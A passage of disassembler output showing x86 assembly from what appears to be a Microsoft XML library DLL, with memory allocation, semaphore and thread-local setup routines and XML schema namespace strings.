mov dword ptr [ebp-1Ch], 2
mov ecx, dword_69B95A20
mov [ebp-54h], ecx
push edi
push dword ptr [ebp-4Ch]
call sub_69B18FB8
mov esi, eax
mov [ebp-58h], esi
mov eax, dword_69B929A8
mov [esi+0Ch], eax
mov ecx, dword_69B929D0
mov eax, [ecx]
call dword ptr [eax+10h]
and dword ptr [ebp-1Ch], 0
cmp esi, edi
jnz loc_69B23F2E
loc_69B19741: ; CODE XREF: sub_69B19621+A922j
mov [ebp-40h], esi
loc_69B19744: ; CODE XREF: sub_69B19621+8Aj
; sub_69B23F51+49j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-38h]
loc_69B1974B: ; CODE XREF: sub_69B19621+A8F4j
call sub_69B1976C
loc_69B19750: ; CODE XREF: sub_69B19621+A890j
mov eax, esi
call sub_69B1853C
retn 0Ch
sub_69B19621 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B19760 dd 0FFFFFFFFh dd offset sub_69B23F48
dd offset sub_69B23F51
; =============== S U B R O U T I N E =======================================
sub_69B1976C proc near ; CODE XREF: sub_69B1992C-7B41p
; sub_69B18EBA+1Aj ...
mov eax, [ecx]
test eax, eax
jz short locret_69B1977B
mov edx, [ecx+4]
mov [eax+2Ch], edx
and dword ptr [ecx], 0
locret_69B1977B: ; CODE XREF: sub_69B1976C+4j
retn
sub_69B1976C endp
; ---------------------------------------------------------------------------
align 10h
off_69B19780 dd offset sub_69B6547B ; DATA XREF: sub_69B65445+13o
; sub_69B6C869+1Eo
dd offset sub_69B17349
dd offset sub_69B183AF
dd offset sub_69B65495
dd offset sub_69B1B57D
dd offset nullsub_5
dd offset sub_69B18278
dd offset sub_69B6C79F
dd offset sub_69B1B57D
dd offset sub_69B2FABC
dd offset sub_69B6C84F
dd offset sub_69B2F559
dd offset nullsub_5
dd offset nullsub_5
dd offset sub_69B6860C
dd offset nullsub_3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_5. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_69B197C1 proc near ; DATA XREF: .text:69B172ECo
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_69B197DC
test [esp+4+arg_0], 1
jz short loc_69B197D6
push esi
call sub_69B1829F
loc_69B197D6: ; CODE XREF: sub_69B197C1+Dj
mov eax, esi
pop esi
retn 4
sub_69B197C1 endp
; =============== S U B R O U T I N E =======================================
sub_69B197DC proc near ; CODE XREF: sub_69B197C1+3p
push esi
mov esi, ecx
lea eax, [esi+18h]
push eax
call sub_69B17230
lea eax, [esi+14h]
push eax
call sub_69B17230
lea eax, [esi+10h]
push eax
call sub_69B17230
mov ecx, esi
pop esi
jmp sub_69B186FA
sub_69B197DC endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1980A
loc_69B19802: ; CODE XREF: sub_69B1980A+3Aj
mov eax, [ebp-20h]
mov ebx, [eax+4]
jmp short loc_69B19846
; END OF FUNCTION CHUNK FOR sub_69B1980A
; =============== S U B R O U T I N E =======================================
sub_69B1980A proc near ; CODE XREF: sub_69B17064+40p
; sub_69B19621+67p ...
; FUNCTION CHUNK AT 69B19802 SIZE 00000008 BYTES
push 14h
push offset dword_69B19860
call sub_69B19C5C
mov edi, ecx
push dword ptr [edi+24h]
lea ecx, [ebp-1Ch]
call sub_69B1986C
xor ebx, ebx
mov [ebp-4], ebx
push ebx
push ebx
lea eax, [ebp-20h]
push eax
mov esi, [ebp+8]
mov eax, [esi]
mov ecx, esi
call dword ptr [eax+20h]
push eax
push esi
mov ecx, edi
call sub_69B1879A
cmp eax, 1
jz short loc_69B19802
loc_69B19846: ; CODE XREF: sub_69B1980A-2j
mov [ebp-24h], ebx
loc_69B19849: ; CODE XREF: sub_69B24019+10j
or dword ptr [ebp-4], 0FFFFFFFFh
lea ecx, [ebp-1Ch]
call sub_69B1948C
mov eax, [ebp-24h]
call sub_69B1853C
retn 4
sub_69B1980A endp
; ---------------------------------------------------------------------------
dword_69B19860 dd 0FFFFFFFFh dd offset sub_69B24010
dd offset sub_69B24019
; =============== S U B R O U T I N E =======================================
sub_69B1986C proc near ; CODE XREF: sub_69B1941C+14p
; sub_69B1980A+14p ...
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B233D0 SIZE 00000012 BYTES
mov eax, [esp+arg_0]
test eax, eax
push esi
mov esi, ecx
mov [esi], eax
jnz loc_69B233D0
loc_69B1987D: ; CODE XREF: sub_69B1986C+9B71j
mov eax, esi
pop esi
retn 4
sub_69B1986C endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B19888
loc_69B19883: ; CODE XREF: sub_69B19888+46j
xor eax, eax
inc eax
jmp short loc_69B198B1
; END OF FUNCTION CHUNK FOR sub_69B19888
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B19888 proc near ; CODE XREF: sub_69B1941C+35p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
; FUNCTION CHUNK AT 69B19883 SIZE 00000005 BYTES
push ebp
mov ebp, esp
mov eax, [ebp+arg_8]
and eax, 7FFFFFFFh
push esi
cdq
push edi
mov edi, ecx
idiv dword ptr [edi+18h]
mov eax, edx
loc_69B1989D: ; CODE XREF: sub_69B19888+4Ej
mov ecx, [edi+20h]
push eax
call sub_69B171A0
mov esi, eax
cmp dword ptr [esi+0Ch], 0
jnz short loc_69B198BC
push 2
loc_69B198B0: ; CODE XREF: sub_69B19888+52j
pop eax
loc_69B198B1: ; CODE XREF: sub_69B19888-2j
mov ecx, [ebp+arg_C]
pop edi
mov [ecx], esi
pop esi
pop ebp
retn 10h
; ---------------------------------------------------------------------------
loc_69B198BC: ; CODE XREF: sub_69B19888+24j
push [ebp+arg_8]
mov ecx, esi
push [ebp+arg_4]
push [ebp+arg_0]
call sub_69B198DC
test al, al
jnz short loc_69B19883
mov eax, [esi+0Ch]
cmp eax, 0FFFFFFFFh
jnz short loc_69B1989D
push 3
jmp short loc_69B198B0
sub_69B19888 endp
; =============== S U B R O U T I N E =======================================
sub_69B198DC proc near ; CODE XREF: sub_69B19888+3Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [ecx+8]
cmp eax, [esp+arg_8]
jz short loc_69B198EA
loc_69B198E5: ; CODE XREF: sub_69B198DC+1Fj
xor eax, eax
locret_69B198E7: ; CODE XREF: sub_69B198DC+24j
retn 0Ch
; ---------------------------------------------------------------------------
loc_69B198EA: ; CODE XREF: sub_69B198DC+7j
push [esp+arg_4]
mov ecx, [ecx]
push [esp+4+arg_0]
call sub_69B19902
test al, al
jz short loc_69B198E5
xor eax, eax
inc eax
jmp short locret_69B198E7
sub_69B198DC endp
; =============== S U B R O U T I N E =======================================
sub_69B19902 proc near ; CODE XREF: sub_69B198DC+18p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_0]
test edi, edi
mov eax, ecx
jz short loc_69B19928
mov ecx, [esp+4+arg_4]
cmp ecx, [eax+8]
jnz short loc_69B19928
push esi
mov esi, [eax+0Ch]
add ecx, ecx
xor eax, eax
repe cmpsb
pop esi
jnz short loc_69B19928
inc eax
loc_69B19924: ; CODE XREF: sub_69B19902+28j
pop edi
retn 8
; ---------------------------------------------------------------------------
loc_69B19928: ; CODE XREF: sub_69B19902+9j
; sub_69B19902+12j ...
xor eax, eax
jmp short loc_69B19924
sub_69B19902 endp
; =============== S U B R O U T I N E =======================================
sub_69B1992C proc near ; CODE XREF: sub_69B1BCE3+F5p
; DllGetClassObject+63F6p
; FUNCTION CHUNK AT 69B11DD9 SIZE 0000002C BYTES
; FUNCTION CHUNK AT 69B1A54C SIZE 0000003B BYTES
; FUNCTION CHUNK AT 69B1A8E2 SIZE 00000072 BYTES
push 34h
push offset dword_69B199C0
call sub_69B19C5C
xor esi, esi
cmp dword_69B95AB8, esi
jnz loc_69B11DF8
push dword_69B929E8
lea ecx, [ebp-1Ch]
call sub_69B18E23
push 1
lea ecx, [ebp-28h]
call sub_69B11D3B
mov [ebp-4], esi
cmp dword_69B95AB8, esi
jnz loc_69B11DE4
push 32h
push 10h
call sub_69B11DC2
pop ecx
pop ecx
mov ecx, eax
mov [ebp-2Ch], ecx
cmp ecx, esi
jz loc_69B11DFE
call sub_69B1EDE8
loc_69B1998A: ; CODE XREF: sub_69B1992C-7B2Cj
mov edi, eax
mov [ebp-30h], edi
loc_69B1998F: ; CODE XREF: sub_69B1992C+90j
mov [ebp-34h], esi
cmp esi, 20h
jge loc_69B1A54C
push esi
mov ecx, edi
call sub_69B1A954
mov [ebp-38h], eax
push off_69B92238[esi*4] ; lpString
call sub_69B11E05
push eax
mov ecx, [ebp-38h]
call sub_69B199CC
inc esi
jmp short loc_69B1998F
sub_69B1992C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
dword_69B199C0 dd 0FFFFFFFFh dd offset sub_69B24AA1
dd offset sub_69B24AAA
; =============== S U B R O U T I N E =======================================
sub_69B199CC proc near ; CODE XREF: sub_69B19E6E-BC2p
; sub_69B1992C+8Ap ...
arg_0 = dword ptr 4
push esi
push [esp+4+arg_0]
mov esi, ecx
push esi
call sub_69B17320
mov eax, esi
pop esi
retn 4
sub_69B199CC endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B18A22
loc_69B199DF: ; CODE XREF: sub_69B18A22+44j
dec eax
jnz loc_69B18A8A
mov ecx, esi
call sub_69B19A09
mov eax, [esi+1Ch]
mov ecx, [ebp+arg_0]
mov [ecx+0Ch], eax
push dword ptr [esi+1Ch]
mov ecx, [esi+20h]
call sub_69B171A0
mov [ebp+arg_0], eax
jmp loc_69B18A6C
; END OF FUNCTION CHUNK FOR sub_69B18A22
; =============== S U B R O U T I N E =======================================
sub_69B19A09 proc near ; CODE XREF: sub_69B18A22+FC6p
push esi
mov esi, ecx
loc_69B19A0C: ; CODE XREF: sub_69B19A09+16j
dec dword ptr [esi+1Ch]
mov eax, [esi+1Ch]
mov ecx, [esi+20h]
push eax
call sub_69B171A0
cmp dword ptr [eax+0Ch], 0
jnz short loc_69B19A0C
pop esi
retn
sub_69B19A09 endp
; =============== S U B R O U T I N E =======================================
sub_69B19A23 proc near ; CODE XREF: sub_69B1B7AD+23p
; FUNCTION CHUNK AT 69B234B5 SIZE 00000007 BYTES
push 8
push offset dword_69B19AE0
call sub_69B19C5C
xor edi, edi
inc edi
xor esi, esi
mov dword_69B929E8, esi
mov dword_69B929E4, esi
mov dword_69B929E0, esi
mov dword_69B929DC, esi
mov dword_69B929D8, esi
mov dword_69B929D4, esi
mov dword_69B929D0, esi
mov [ebp-4], esi
call sub_69B1BB5E
mov dword_69B929E8, eax
call sub_69B19AEC
mov dword_69B929E4, eax
call sub_69B19AEC
mov dword_69B929E0, eax
call sub_69B19AEC
mov dword_69B929DC, eax
call sub_69B19AEC
mov dword_69B929D8, eax
push esi
push edi
push edi
push esi
call ds:SHLWAPI_51
mov hObject, eax
call sub_69B1B352
mov dword_69B929D4, eax
call sub_69B1B352
mov dword_69B929D0, eax
loc_69B19AB6: ; CODE XREF: sub_69B234A9+7j
or dword ptr [ebp-4], 0FFFFFFFFh
cmp edi, esi
jz short loc_69B19ACF
cmp hObject, esi
jz short loc_69B19ACF
xor eax, eax
inc eax
loc_69B19AC9: ; CODE XREF: sub_69B19A23+9A94j
call sub_69B1853C
retn
; ---------------------------------------------------------------------------
loc_69B19ACF: ; CODE XREF: sub_69B19A23+99j
; sub_69B19A23+A1j
call sub_69B1E47C
jmp loc_69B234B5
sub_69B19A23 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B19AE0 dd 0FFFFFFFFh dd offset sub_69B234A0
dd offset sub_69B234A9
; =============== S U B R O U T I N E =======================================
sub_69B19AEC proc near ; CODE XREF: sub_69B1A799:loc_69B11CDBp
; sub_69B19A23+48p ...
; FUNCTION CHUNK AT 69B23497 SIZE 00000003 BYTES
push 28h
call sub_69B1D897
test eax, eax
jz loc_69B23497
push 100h
push 1000h
mov ecx, eax
call sub_69B19B0D
retn
sub_69B19AEC endp
; =============== S U B R O U T I N E =======================================
sub_69B19B0D proc near ; CODE XREF: sub_69B19AEC+1Bp
; sub_69B1AD51+14p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
; FUNCTION CHUNK AT 69B23482 SIZE 00000015 BYTES
push esi
push edi
mov esi, ecx
call sub_69B19B5C
mov eax, [esp+8+arg_0]
xor edi, edi
push edi ; lpName
push 100h ; lMaximumCount
mov [esi+18h], eax
mov eax, [esp+10h+arg_4]
push edi ; lInitialCount
mov [esi+10h], edi
mov [esi+14h], edi
push edi ; lpSemaphoreAttributes
mov dword ptr [esi], offset off_69B1F248
mov dword ptr [esi+4], offset off_69B1B294
mov [esi+24h], edi
mov [esi+1Ch], eax
call ds:CreateSemaphoreA ; CreateSemaphoreA
cmp eax, edi
mov [esi+20h], eax
jz loc_69B23482
loc_69B19B55: ; CODE XREF: sub_69B19B0D+9985j
pop edi
mov eax, esi
pop esi
retn 8
sub_69B19B0D endp
; =============== S U B R O U T I N E =======================================
sub_69B19B5C proc near ; CODE XREF: sub_69B19B0D+4p
; sub_69B1BB5E+14p
push esi
push 1
mov esi, ecx
call sub_69B19B6A
mov eax, esi
pop esi
retn
sub_69B19B5C endp
; =============== S U B R O U T I N E =======================================
sub_69B19B6A proc near ; CODE XREF: sub_69B19B5C+5p
; sub_69B1DA6C+5p
arg_0 = dword ptr 4
push esi
push edi
push [esp+8+arg_0]
mov esi, ecx
lea edi, [esi+4]
push offset stru_69B1CA6C
mov ecx, edi
call sub_69B19B94
mov dword ptr [edi], offset off_69B1BBE0
pop edi
mov dword ptr [esi], offset off_69B1AEB8
mov eax, esi
pop esi
retn 4
sub_69B19B6A endp
; =============== S U B R O U T I N E =======================================
sub_69B19B94 proc near ; CODE XREF: sub_69B19B6A+12p
; sub_69B1DFFA+1Dp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax+4], ecx
mov ecx, [esp+arg_4]
neg ecx
sbb ecx, ecx
and ecx, 0FFFFFFFCh
add ecx, 4
or ecx, 8
mov [eax+8], ecx
retn 8
sub_69B19B94 endp
; =============== S U B R O U T I N E =======================================
sub_69B19BB4 proc near ; CODE XREF: .text:69B2D955p
; DATA XREF: sub_69B1CA7C:loc_69B1CB0Bo ...
call sub_69B19BC1
test eax, eax
jz short locret_69B19BC0
inc dword ptr [eax+30h]
locret_69B19BC0: ; CODE XREF: sub_69B19BB4+7j
retn
sub_69B19BB4 endp
; =============== S U B R O U T I N E =======================================
sub_69B19BC1 proc near ; CODE XREF: sub_69B19BB4p
; sub_69B1ABCC+26p ...
push dwTlsIndex
call dword_69B92970
test eax, eax
jz sub_69B1CC44
retn
sub_69B19BC1 endp
; =============== S U B R O U T I N E =======================================
sub_69B19BD6 proc near ; CODE XREF: sub_69B1CD73p
; FUNCTION CHUNK AT 69B25093 SIZE 0000000F BYTES
push esi
push edi
xor esi, esi
mov edi, offset dword_69B95C50
loc_69B19BDF: ; CODE XREF: sub_69B19BD6+17j
cmp dword_69B9269C[esi*8], 1
jz short loc_69B19BF5
loc_69B19BE9: ; CODE XREF: sub_69B19BD6+41j
inc esi
cmp esi, 24h
jl short loc_69B19BDF
xor eax, eax
inc eax
loc_69B19BF2: ; CODE XREF: sub_69B19BD6+B4C7j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_69B19BF5: ; CODE XREF: sub_69B19BD6+11j
lea eax, lpCriticalSection[esi*8]
mov [eax], edi
push 0FA0h
push dword ptr [eax]
add edi, 18h
call sub_69B19C19
test eax, eax
pop ecx
pop ecx
jz loc_69B25093
jmp short loc_69B19BE9
sub_69B19BD6 endp
; =============== S U B R O U T I N E =======================================
sub_69B19C19 proc near ; CODE XREF: sub_69B19BD6+32p
; sub_69B11383+B182p ...
; FUNCTION CHUNK AT 69B1EC3E SIZE 0000003E BYTES
; FUNCTION CHUNK AT 69B2535E SIZE 0000000F BYTES
push 10h
push offset dword_69B19C50
call sub_69B19C5C
mov eax, dword_69B95DA4
test eax, eax
jz loc_69B1EC3E
loc_69B19C32: ; CODE XREF: sub_69B19C19+5058j
; sub_69B19C19+B74Fj
and dword ptr [ebp-4], 0
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
call eax ; dword_69B95DA4
mov [ebp-1Ch], eax
loc_69B19C41: ; CODE XREF: sub_69B2537B+16j
or dword ptr [ebp-4], 0FFFFFFFFh
call sub_69B1853C
retn
sub_69B19C19 endp
; ---------------------------------------------------------------------------
align 10h
dword_69B19C50 dd 0FFFFFFFFh dd offset sub_69B2536D
dd offset sub_69B2537B
; =============== S U B R O U T I N E =======================================
sub_69B19C5C proc near ; CODE XREF: sub_69B11383+7p
; sub_69B17135+7p ...
arg_4 = dword ptr 8
push offset sub_69B22496
mov eax, large fs:0
push eax
mov eax, [esp+8+arg_4]
mov [esp+8+arg_4], ebp
lea ebp, [esp+8+arg_4]
sub esp, eax
push ebx
push esi
push edi
mov eax, [ebp-8]
mov [ebp-18h], esp
push eax
mov eax, [ebp-4]
mov dword ptr [ebp-4], 0FFFFFFFFh
mov [ebp-8], eax
lea eax, [ebp-10h]
mov large fs:0, eax
retn
sub_69B19C5C endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B184B1
loc_69B19C97: ; CODE XREF: sub_69B184B1+1Bj
mov ebx, [ebp+0Ch]
loc_69B19C9A: ; CODE XREF: sub_69B184B1+B650j
; sub_69B184B1+B688j
mov esi, [esi]
mov eax, [ebp+8]
cmp esi, [eax+2020h]
jnz loc_69B184C6
mov [ebp-24h], eax
loc_69B19CAE: ; CODE XREF: sub_69B184B1-9j
mov edx, [eax+10h]
cmp edx, 0FFFFFFFFh
jnz loc_69B23B3E
loc_69B19CBA: ; CODE XREF: sub_69B184B1+B692j
mov eax, [eax]
mov [ebp-24h], eax
cmp eax, [ebp+8]
jnz loc_69B184A5
push dword ptr [ebp+8]
call sub_69B19D0A
pop ecx
test eax, eax
jz loc_69B184AD
mov ecx, [eax+10h]
mov [ecx+10h], bl
mov edx, [ebp+8]
mov [edx+2020h], eax
lea edx, [ecx+ebx+10h]
mov [ecx+8], edx
mov edx, 0EFh
sub edx, ebx
mov [ecx+0Ch], edx
movzx edx, bl
sub [eax+18h], edx
lea eax, [ecx+110h]
jmp loc_69B18524
; END OF FUNCTION CHUNK FOR sub_69B184B1
; =============== S U B R O U T I N E =======================================
sub_69B19D0A proc near ; CODE XREF: sub_69B184B1+181Ap
; FUNCTION CHUNK AT 69B1E725 SIZE 000000AD BYTES
; FUNCTION CHUNK AT 69B239B1 SIZE 00000059 BYTES
; FUNCTION CHUNK AT 69B23A59 SIZE 00000038 BYTES
push 1Ch
push offset dword_69B19DA8
call sub_69B19C5C
mov esi, [ebp+8]
mov [ebp-1Ch], esi
cmp dword ptr [esi+10h], 0FFFFFFFFh
jnz loc_69B239B1
mov [ebp-20h], esi
loc_69B19D29: ; CODE XREF: sub_69B19D0A+9CD7j
push 4 ; flProtect
push 2000h ; flAllocationType
push 400000h ; dwSize
push 0 ; lpAddress
mov edi, ds:VirtualAlloc
call edi ; VirtualAlloc
mov ebx, eax
mov [ebp-24h], ebx
test ebx, ebx
jz loc_69B23A66
push 4 ; flProtect
push 1000h ; flAllocationType
push 10000h ; dwSize
push ebx ; lpAddress
cmp dword_69B92940, 0
jnz loc_69B1E7C8
call edi ; VirtualAlloc
loc_69B19D68: ; CODE XREF: sub_69B19D0A+4AC3j
xor edi, edi
cmp eax, edi
jz loc_69B23A59
push 400000h
push ebx
call sub_69B1C352
mov [ebp-28h], ebx
mov [ebp-4], edi
mov [ebp-2Ch], edi
loc_69B19D86: ; CODE XREF: sub_69B19D0A+98j
cmp dword ptr [ebp-2Ch], 10h
jge loc_69B1E725
push dword ptr [ebp-28h]
call sub_69B19DB4
inc dword ptr [ebp-2Ch]
add dword ptr [ebp-28h], 1000h
jmp short loc_69B19D86
sub_69B19D0A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 8
dword_69B19DA8 dd 0FFFFFFFFh dd offset sub_69B23A0A
dd offset sub_69B23A13
; =============== S U B R O U T I N E =======================================
sub_69B19DB4 proc near ; CODE XREF: sub_69B1818F-64FDp
; sub_69B19D0A+89p ...
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 69B11C75 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 69B238AF SIZE 00000019 BYTES
cmp byte_69B929BC, 0
jnz short locret_69B19E31
mov ecx, dword_69B929E4
test ecx, ecx
jz short loc_69B19DCE
push 0FFFFFFFFh ; dwMilliseconds
call sub_69B18F8A
loc_69B19DCE: ; CODE XREF: sub_69B19DB4+11j
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
shr esi, 2
push edi
mov eax, esi
shr eax, 13h
mov edi, esi
shr edi, 0Ch
lea ebx, dword_69B94A00[eax*4]
mov ebp, [ebx]
and edi, 7Fh
test ebp, ebp
jz loc_69B11C75
loc_69B19DF7: ; CODE XREF: sub_69B19DB4-8128j
lea edi, [ebp+edi*4+4]
mov eax, [edi]
test eax, eax
jz short loc_69B19E34
loc_69B19E01: ; CODE XREF: sub_69B19DB4+98j
and esi, 0FFFh
mov ecx, esi
shr ecx, 5
lea edx, [eax+ecx*4+4]
mov ecx, esi
xor esi, esi
and ecx, 1Fh
inc esi
shl esi, cl
or [edx], esi
inc dword ptr [eax]
mov ecx, dword_69B929E4
test ecx, ecx
jz short loc_69B19E2D
call sub_69B18381
loc_69B19E2D: ; CODE XREF: sub_69B19DB4+72j
; sub_69B19DB4+9B0Fj
pop edi
pop esi
pop ebp
pop ebx
locret_69B19E31: ; CODE XREF: sub_69B19DB4+7j
retn 4
; ---------------------------------------------------------------------------
loc_69B19E34: ; CODE XREF: sub_69B19DB4+4Bj
push 204h ; dwBytes
call sub_69B19E4E
test eax, eax
pop ecx
mov [edi], eax
jz loc_69B238AF
inc dword ptr [ebp+0]
jmp short loc_69B19E01
sub_69B19DB4 endp
; =============== S U B R O U T I N E =======================================
; int __cdecl sub_69B19E4E(DWORD dwBytes)
sub_69B19E4E proc near ; CODE XREF: sub_69B19DB4-813Ap
; sub_69B19DB4+85p
dwBytes = dword ptr 4
; FUNCTION CHUNK AT 69B238A3 SIZE 00000006 BYTES
cmp dword_69B92940, 0
push [esp+dwBytes] ; dwBytes
push 8 ; dwFlags
push hHeap ; hHeap
jnz loc_69B238A3
call ds:HeapAlloc
retn
sub_69B19E4E endp
; =============== S U B R O U T I N E =======================================
sub_69B19E6E proc near ; CODE XREF: sub_69B1BCE3+F0p
; DllGetClassObject:loc_69B2292Fp
; FUNCTION CHUNK AT 69B1927E SIZE 00000039 BYTES
; FUNCTION CHUNK AT 69B1D6E4 SIZE 00000112 BYTES
push 80h
push offset dword_69B1A0A0
call sub_69B19C5C
xor esi, esi
cmp dword_69B95A84, esi
jnz loc_69B1D7E9
push dword_69B929E8
lea ecx, [ebp-1Ch]
call sub_69B18E23
push 1
lea ecx, [ebp-28h]
call sub_69B11D3B
mov [ebp-4], esi
cmp dword_69B95A84, esi
jnz loc_69B1D7D5
push offset off_69B1A5AC
call sub_69B19611
mov [ebp-2Ch], eax
push eax ; Value
mov ecx, offset dword_69B95A7C ; Target
call sub_69B188DC
push offset off_69B1F2C8
call sub_69B19611
mov [ebp-30h], eax
push eax ; Value
mov ecx, offset dword_69B95A74 ; Target
call sub_69B188DC
push offset off_69B1F304
call sub_69B19611
mov [ebp-34h], eax
push eax ; Value
mov ecx, offset dword_69B95A6C ; Target
call sub_69B188DC
push offset off_69B1A010
call sub_69B19611
mov [ebp-38h], eax
push eax ; Value
mov ecx, offset dword_69B95A64 ; Target
call sub_69B188DC
push offset off_69B1A020
call sub_69B19611
mov [ebp-3Ch], eax
push eax ; Value
mov ecx, offset dword_69B95A5C ; Target
call sub_69B188DC
push offset off_69B1A030
call sub_69B19611
mov [ebp-40h], eax
push eax ; Value
mov ecx, offset dword_69B95A54 ; Target
call sub_69B188DC
push offset off_69B1A040
call sub_69B19611
mov [ebp-44h], eax
push eax ; Value
mov ecx, offset dword_69B95A44 ; Target
call sub_69B188DC
push offset off_69B1A058
call sub_69B19611
mov [ebp-48h], eax
push eax ; Value
mov ecx, offset dword_69B95A4C ; Target
call sub_69B188DC
push offset off_69B1A068
call sub_69B19611
mov [ebp-4Ch], eax
push eax ; Value
mov ecx, offset dword_69B95A3C ; Target
call sub_69B188DC
push offset off_69B1A078
call sub_69B19611
mov [ebp-50h], eax
push eax ; Value
mov ecx, offset dword_69B95A34 ; Target
call sub_69B188DC
push offset off_69B1A08C
call sub_69B19611
mov [ebp-54h], eax
push eax ; Value
mov ecx, offset dword_69B95A2C ; Target
call sub_69B188DC
push 23h
push 10h
call sub_69B11DC2
pop ecx
pop ecx
mov ecx, eax
mov [ebp-58h], ecx
cmp ecx, esi
jz loc_69B1D7EF
call sub_69B1EDE8
loc_69B19FD7: ; CODE XREF: sub_69B19E6E+3983j
mov edi, eax
mov [ebp-5Ch], edi
loc_69B19FDC: ; CODE XREF: sub_69B19E6E+19Fj
mov [ebp-60h], esi
cmp esi, 10h
jge loc_69B1927E
mov ebx, off_69B92188[esi*4]
mov [ebp-64h], ebx
push esi
mov ecx, edi
call sub_69B1A954
mov [ebp-68h], eax
push ebx
call sub_69B1A2EC
push eax
mov ecx, [ebp-68h]
call sub_69B199CC
inc esi
jmp short loc_69B19FDC
sub_69B19E6E endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 10h
off_69B1A010 dd offset off_69B17D10 ; DATA XREF: sub_69B19E6E+8Co
align 8
dd 24h
dd offset aHttpWww_w3_org ; "http://www.w3.org/XML/1998/namespace"
off_69B1A020 dd offset off_69B17D10 ; DATA XREF: sub_69B19E6E+A4o
dd 2 dup(0)
dd offset dword_69B1A0FC
off_69B1A030 dd offset off_69B17D10 ; DATA XREF: sub_69B19E6E+BCo
; .data:69B921C0o
align 8
dd 23h
dd offset aUrnSchemasMicr ; "urn:schemas-microsoft-com:datatypes"
off_69B1A040 dd offset off_69B17D10 ; DATA XREF: sub_69B19E6E+D4o
align 8
dd 29h
dd offset aUuidC2f4101065 ; "uuid:C2F41010-65B3-11D1-A29F-00AA00C148"...
dd 0
align 8
off_69B1A058 dd offset off_69B17D10 ; DATA XREF: sub_69B19E6E+ECo
align 10h
dd 2Eh
dd offset aUrnUuidC2f4101 ; "urn:uuid:C2F41010-65B3-11D1-A29F-00AA00"...
off_69B1A068 dd offset off_69B17D10 ; DATA XREF: sub_69B19E6E+104o
align 10h
dd 22h
dd offset aUrnSchemasMi_0 ; "urn:schemas-microsoft-com:xml-data"
off_69B1A078 dd offset off_69B17D10 ; DATA XREF: sub_69B19E6E+11Co
align 10h
dd 29h
dd offset aUuidBdc6e3f06d ; "uuid:BDC6E3F0-6DA3-11D1-A2A3-00AA00C148"...
dd 0
off_69B1A08C dd offset off_69B17D10 ; DATA XREF: sub_69B19E6E+134o
dd 0
dd 24h
dd offset aUrnSchemasMi_1 ; "urn:schemas-microsoft-com:xml-schema"
align 10h
dword_69B1A0A0 dd 0FFFFFFFFh dd offset sub_69B240EA
dd offset sub_69B240F3
align 10h
aHttpWww_w3_org: ; DATA XREF: .text:69B1A01Co
unicode 0, <http://www.w3.org/XML/1998/namespace>,0
align 4
dword_69B1A0FC dd 0 aUrnSchemasMicr: ; DATA XREF: .text:69B1A03Co
unicode 0, <urn:schemas-microsoft-com:datatypes>,0
aUuidC2f4101065: ; DATA XREF: .text:69B1A04Co
unicode 0, <uuid:C2F41010-65B3-11D1-A29F-00AA00C14882>,0
align 10h
aUrnUuidC2f4101: ; DATA XREF: .text:69B1A064o
unicode 0, <urn:uuid:C2F41010-65B3-11D1-A29F-00AA00C14882/>,0
align 10h
aUrnSchemasMi_0: ; DATA XREF: .text:69B1A074o
unicode 0, <urn:schemas-microsoft-com:xml-data>,0
align 4
aUuidBdc6e3f06d: ; DATA XREF: .text:69B1A084o
unicode 0, <uuid:BDC6E3F0-6DA3-11D1-A2A3-00AA00C14882>,0
align 10h
aUrnSchemasMi_1: ; DATA XREF: .text:69B1A098o
unicode 0, <urn:schemas-microsoft-com:xml-schema>,0
align 4
; =============== S U B R O U T I N E =======================================
sub_69B1A2EC proc near ; CODE XREF: sub_69B16A74+3Fp
; sub_69B19E6E+190p ...
arg_0 = dword ptr 4
xor eax, eax
push eax
push eax
push eax
push [esp+0Ch+arg_0]
call sub_69B192CB
retn 4
sub_69B1A2EC endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1879A
loc_69B1A2FD: ; CODE XREF: sub_69B1879A+3Bj
mov eax, [esi+0Ch]
cmp eax, 0FFFFFFFFh
jnz short loc_69B1A30C
push 3
jmp loc_69B18797
; ---------------------------------------------------------------------------
loc_69B1A30C: ; CODE XREF: sub_69B1879A+1B69j
mov [ebp+var_4], ebx
mov ebx, eax
jmp loc_69B187B5
; END OF FUNCTION CHUNK FOR sub_69B1879A
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_69B1A319
loc_69B1A316: ; CODE XREF: sub_69B1A319+7Dj
; sub_69B1A319+86j
inc eax
jmp short loc_69B1A391
; END OF FUNCTION CHUNK FOR sub_69B1A319
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_69B1A319 proc near ; CODE XREF: sub_69B1CF24+52p
; sub_69B1CF24+81p
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
